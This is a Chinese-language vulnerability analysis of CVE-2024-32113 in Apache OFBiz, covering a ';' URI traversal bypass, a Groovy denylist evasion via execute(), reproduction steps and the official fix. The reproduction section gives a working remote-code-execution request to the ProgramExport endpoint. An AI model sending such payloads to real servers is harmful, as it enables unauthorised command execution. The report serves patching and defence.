ofbiz目录遍历致代码执行漏洞(CVE-2024-32113)分析
字数 1459 2025-08-25 22:59:15
Apache OFBiz 目录遍历致代码执行漏洞(CVE-2024-32113)分析报告
0x01 漏洞概述
漏洞名称: Apache OFBiz 目录遍历致代码执行漏洞
CVE编号: CVE-2024-32113
影响版本: Apache OFBiz 18.12及之前版本
漏洞类型: 目录遍历绕过导致远程代码执行
危害等级: 高危
漏洞描述: Apache OFBiz存在目录遍历漏洞,攻击者可构造恶意请求绕过安全限制,进而执行任意Groovy代码,最终导致服务器被完全控制。
0x02 漏洞背景
Apache OFBiz是一个开源的企业级电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。
0x03 漏洞分析
3.1 代码执行路径分析
漏洞利用路径涉及以下关键组件:
-
ProgramExport功能端点:
- 配置文件位置:
/framework/webtools/webapp/webtools/WEB-INF/controller.xml - 关键配置:
<request-map uri="ProgramExport"> <security https="true" auth="true"/> <response name="success" type="view" value="ProgramExport"/> <response name="error" type="view" value="ProgramExport"/> </request-map><view-map name="ProgramExport" type="screen" page="component://webtools/widget/EntityScreens.xml#ProgramExport"/>
- 配置文件位置:
-
Groovy脚本执行点:
- 文件位置:
apache-ofbiz-18.12.11/framework/webtools/widget/EntityScreens.xml - 关键代码:
<screen name="ProgramExport"> <section> <actions> <script location="component://webtools/groovyScripts/entity/ProgramExport.groovy"/> </actions> </section> </screen>
- 文件位置:
-
Groovy脚本执行逻辑:
- 文件位置:
/webtools/groovyScripts/entity/ProgramExport.groovy - 关键代码:
parameters.groovyProgram = groovyProgram // 设置Groovy执行环境 def importCustomizer = new ImportCustomizer() importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue") def configuration = new CompilerConfiguration() configuration.addCompilationCustomizers(importCustomizer) Binding binding = new Binding() binding.setVariable("delegator", delegator) ClassLoader loader = Thread.currentThread().getContextClassLoader() def shell = new GroovyShell(loader, binding, configuration) if (UtilValidate.isNotEmpty(groovyProgram)) { try { // 安全检查 if (!SecuredUpload.isValidText(groovyProgram, ["import"])) { logError("=Not executed for security reason") return }
- 文件位置:
3.2 安全限制绕过分析
-
目录遍历漏洞:
- 文件位置:
ofbiz-framework/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ControlFilter.java - 漏洞点: 使用
httpRequest.getRequestURI()获取URL,可通过../或;进行截断绕过filter处理 - 修复方式对比:
- 18.12及之前版本: 直接使用请求URI,无严格校验
- 18.13修复版本: 添加了严格校验,对
..和;进行过滤
- 文件位置:
-
Groovy执行黑名单绕过:
- 安全检查位置:
SecuredUpload.isValidText() - 黑名单实现: 调用
getDeniedWebShellTokens()获取禁止的关键字 - 关键缺陷: 未过滤
execute()方法,允许通过以下方式执行命令:- 直接调用:
"".execute() - Unicode编码绕过
- 直接调用:
- 安全检查位置:
0x04 漏洞复现
4.1 复现环境
- Apache OFBiz 18.10或18.12版本
4.2 复现步骤
- 构造恶意请求,使用
;截断绕过目录遍历限制 - 向
ProgramExport端点提交包含恶意Groovy代码的请求 - 示例攻击载荷:
POST /webtools/control/ProgramExport; HTTP/1.1 ... groovyProgram="ls".execute()
4.3 复现结果
成功绕过安全限制,执行系统命令。
0x05 修复建议
-
官方修复方案:
- 升级到Apache OFBiz 18.13或更高版本
- 关键修复点:
- 在
ControlFilter.java中添加严格URI校验
// 18.13修复代码 if (!uri.equals(request.getRequestURI())) { throw new ControlFilterException("Possible path manipulation attack"); } // 过滤..和; String filteredUri = uri.replace("..", "").replace(";", ""); if (!filteredUri.equals(uri)) { throw new ControlFilterException("Possible path manipulation attack"); } - 在
-
临时缓解措施:
- 禁用
ProgramExport功能端点 - 加强Groovy脚本执行的安全检查
- 禁用
0x06 总结
CVE-2024-32113漏洞结合了目录遍历和代码执行两种漏洞类型,攻击者可通过精心构造的请求绕过安全限制,最终在服务器上执行任意代码。该漏洞危害性高,建议所有使用受影响版本的用户立即升级到修复版本。